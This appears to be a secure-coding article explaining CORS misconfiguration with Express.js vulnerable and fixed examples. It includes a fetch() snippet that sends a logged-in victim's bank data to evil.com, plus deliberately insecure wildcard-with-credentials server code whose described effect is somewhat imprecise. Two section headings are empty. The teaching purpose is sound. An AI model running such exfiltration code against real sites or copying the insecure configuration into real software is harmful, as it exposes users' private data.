Cross-Origin Resource Sharing (CORS) is a critical security mechanism that allows web servers to specify which origins (domains, protocols, or ports) can access their resources. While CORS is essential for enabling legitimate cross-origin requests in modern web applications, misconfigurations can expose applications to significant security risks.

What is CORS and Why Does It Matter?

CORS is a browser-enforced protocol that governs how resources (e.g., APIs, images, or scripts) hosted on one origin can be accessed by another. For example, if a frontend at https://app.example.com makes a request to an API at https://api.example.com, CORS policies on the API server determine whether the request is allowed.

Misconfigured CORS policies can allow unauthorized domains to access sensitive resources, potentially leading to data theft, unauthorized actions, or other malicious activities. Attackers exploit these weaknesses to bypass the Same-Origin Policy (SOP), a fundamental browser security feature.

Common CORS Misconfigurations

The Risks: A Real-World Attack Scenario

Consider a bank web app at https://bank.example.com that uses an API to retrieve account details. If the API allows all origins, an attacker can create a malicious site.

fetch('https://bank.example.com/api/account', {
  method: 'GET',
  credentials: 'include'
})
  .then(response => response.json())
  .then(data => {
    fetch('https://evil.com/steal', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });

If a logged-in user visits the attacker's site, their cookies are sent to the bank API, and sensitive data is exfiltrated.

Vulnerable Code Example

const express = require('express');
const app = express();

app.use((req, res, next) => {
  res.setHeader('Access-Control-Allow-Origin', '*');
  res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
  res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  next();
});

app.get('/api/account', (req, res) => {
  res.json({ balance: 10000, accountNumber: '1234567890' });
});

app.listen(3000, () => console.log('Server running on port 3000'));

Secure Code Example

const express = require('express');
const cors = require('cors');
const app = express();

const allowedOrigins = ['https://app.example.com', 'https://staging.example.com'];
app.use(cors({
  origin: (origin, callback) => {
    if (!origin) return callback(null, true);
    if (allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  methods: ['GET', 'POST'],
  allowedHeaders: ['Content-Type'],
  credentials: true
}));
app.get('/api/account', (req, res) => {
  res.json({ balance: 10000, accountNumber: '1234567890' });
});
app.listen(3000, () => console.log('Server running on port 3000'));

Best Practices for Secure CORS Configuration

Conclusion

Misconfigured CORS can lead to serious security vulnerabilities. By following best practices, restricting access explicitly, and regularly testing your setup, you can safeguard your application and users. Review the OWASP CORS Cheat Sheet for more guidance.